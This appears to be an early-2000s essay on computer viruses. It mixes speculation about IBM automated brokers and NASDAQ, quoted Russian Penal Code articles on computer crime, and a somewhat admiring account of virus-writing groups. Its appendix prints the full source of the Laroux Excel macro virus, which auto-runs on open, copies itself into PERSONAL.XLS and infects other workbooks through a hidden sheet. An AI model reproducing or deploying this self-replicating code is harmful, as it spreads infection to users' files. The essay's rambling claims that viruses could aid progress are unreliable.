We can't say for sure, but maybe in the nearest future the index will be influenced more by computers themselves, than brokers and dealers in the world stock exchanges. IBM Corporation has recently presented its new invention – an automated broker, which is indeed a mainframe (a very big computer) with specialised software. It is a descendant of mainframe DeepBlue, well known for its skills in chess field. Unfortunately, it seems that bad times have come for the whole economy of the USA, which also means problems for NASDAQ.

Nevertheless the initiative of IBM should certainly be greeted. Automated brokers seem to understand the volatility of indexes in a much quicker and rational way than human beings. There is an only drawback to eliminate – the problem of artificial intellect. Machine can't think as a human.

Maybe computer viruses could be of any use here too. After all, the flights to the Moon become a simple effect of inventing the new ways of civil population extermination during the Second World War (ballistic rockets). A wish to kill people did a fantastic daydream become reality within fifty years. The first computing machine was actively used while the first atomic bomb development. So sometimes even very bad, much more dangerous than viruses (name at least one person being victim of a cruel computer virus), can highly assist to the progress and bring a greater profit.

A legal notice. Penal Code of Russian Federation

Chapter 28. Crimes in sphere of computer information

Article 272. Illegitimate access to computer information

1. Illegitimate access to a law-protected computer information, i.e. information on the machine carrier, in electronic-computing machine (PC), PC system or its network, if it causes a destruction, blocking, modification or copying of information, breach of work PC, PC systems or its network, –

is punished by fine in the size from two to five hundred minimum sizes of labour payment, or in the size of salary/other profit of the convicted for a period from two to five months, or by corrective works for a period from six months to one year, or by deprivation of liberty for a term up to two years.

2. Same deed, performed by a group of persons on the preliminary collusion or by an organised group or a person using their official position, as well as having access to PC, PC system or to its network, –

is punished by fine in the size from five to eight hundred minimum sizes of labour payment, or in the size of salary/other profit of the convicted for a period from five to eight months, or by corrective works for a period from one to two years, or by arrest for a period from three to six months, or by deprivation of liberty for a term up to two years.

Article 273. Creation, use and spreading harmful programs for PC.

1. Making the programs for PC or a contributing the changes to exist programs, undoubtedly bringing about unauthorised deleting, blocking, modification, or copying information, breaking of PC functionality, PC systems or its network, as well as use or spreading of such programs or machine carriers with such programs –

is punished by deprivation of liberty for a term up to three years with the fine in the amount between two and five hundred minimum amounts of labour payment, or in the amount of salary/other profit of the convicted for a period from two five months.

2. The same deeds having caused on indiscretion heavy consequences, –

are punished by the deprivation of liberty for a term from three to seven years.

Synopsis

The history of computer viruses has begun recently, but it has already become legendary. Almost everyone knows a few awesome fables about these creatures, but hardy anyone understands what computer virus is.

Computer virus is an executable code able to reproduce itself. Viruses are an area of pure programming, and, unlike other computer programs, carry intellectual functions on protection from being found and destroyed. They have to fight for survival in complex conditions of conflicting computer systems.

Viruses seem to be the only alive organisms in the computer environment, and yet another their main goal is survival. That is why they may have complex crypting/decrypting engines, which is indeed a sort of a standard for computer viruses nowadays, in order to carry out processes of duplicating, adaptation and disguise

Viruses are written by lone wolves or programmers groups.

Using special programs called "Virus creators" even beginners in computer world can build their own viruses. The aim of creation of viruses in such way is pretty obvious: the author wants to become well known all over the world and to show his powers.

The results of the attempt can be very sad, only real professionals can go famous and stay uncaught. To write something really new and remarkable programmer should have some extra knowledge and skills.

A computer virus group is an informal non-profit organisation, uniting programmers–authors of viruses regardless of their qualifications. Everyone can become a member of the club, if he creates viruses, studies them for the reason of creation and spreading. You don't have to know any computer language or write any program code to become a member or a friend of the group. Programming in Assembler is preferred, Pascal, C++ and other high level languages are considered to be humiliating

There are computer virus groups all over the world, few being more successful than others. It may be pretty hard to get in contact with them since they are quite typical representatives of computer underground world as well as (free)wares groups. Sometimes, however, creating viruses can become a respectable occupation, bringing constant income. After all, no one but the author of the virus can bring valuable information on the way it should be treated and cured.

Developers of antiviral software gain money from selling their remedy to a new widely hyped by the mass media virus. Agitation can grow so strong that all and everyone dash to buy an antiviral protection against even a most harmless virus. The ordinal behaviour of share indexes in stock exchanges while a computer virus epidemic is to fall. Somehow, the shares of high-tech companies producing antiviral software will soar up to the sky.

An epidemic of foot-and-mouth disease has overwhelmed Europe in these days (March 15, 2001). It seems that a vast economic crisis is breaking out in America. World finances make their best to escape the worst.

A break-through in the sphere of artificial intellect development could prevent NASDAQ from complete falling down. The help may come from an unexpected side...

But don't forget that creation, use and spreading harmful programs for PC is a criminal offence, as well as using cracked versions of programs. Our penal code establishes a punishment up to seven years of jail.

And be aware that computer viruses came for a long time, unless forever.

SOURCES

1. Penal Code of Russian Federation

2. Handless N.N. Computer virology. Part 1: General principles of operation, categorization and catalogue of the most widespread viruses in operating system MS DOS. – Kiev, 1990.

3. Infected Voice. Issue 1, September, 1994. – STEALTH group.

4. Infected Voice. Issue 2, October, 1994. – STEALTH group.

5. Infected Voice. Issue 3. December, 1994. – STEALTH group.

Appendix

An fragment of a macrovirus (Laroux), written in a high-level computer language (ExelVisualBasic)

Attribute VB_Name = "laroux"

Sub auto_open()

Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

Select Case whichfile

Case 10

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

Sheets("laroux").Visible = True

Sheets("laroux").Select

Sheets("laroux").Copy

With ActiveWorkbook

.Title = ""

.Subject = ""

.Author = ""

.Keywords = ""

.Comments = ""

End With

newname$ = ActiveWorkbook.Name

c4$ = CurDir()

ChDir Application.StartupPath

ActiveWindow.Visible = False

Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _

, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

False, CreateBackup:=False

ChDir c4$

Workbooks(n4$).Sheets("laroux").Visible = False

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "personal.xls!check_files"

Case 1

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

p4$ = ActiveWorkbook.Path

s$ = Workbooks(n4$).Sheets(1).Name

If s$ <> "laroux" Then

Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)

Workbooks(n4$).Sheets("laroux").Visible = False

Else

End If

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "personal.xls!check_files"

Case Else

End Select

End Sub

1 Assembler - a low level, hardware- oriented computer language

10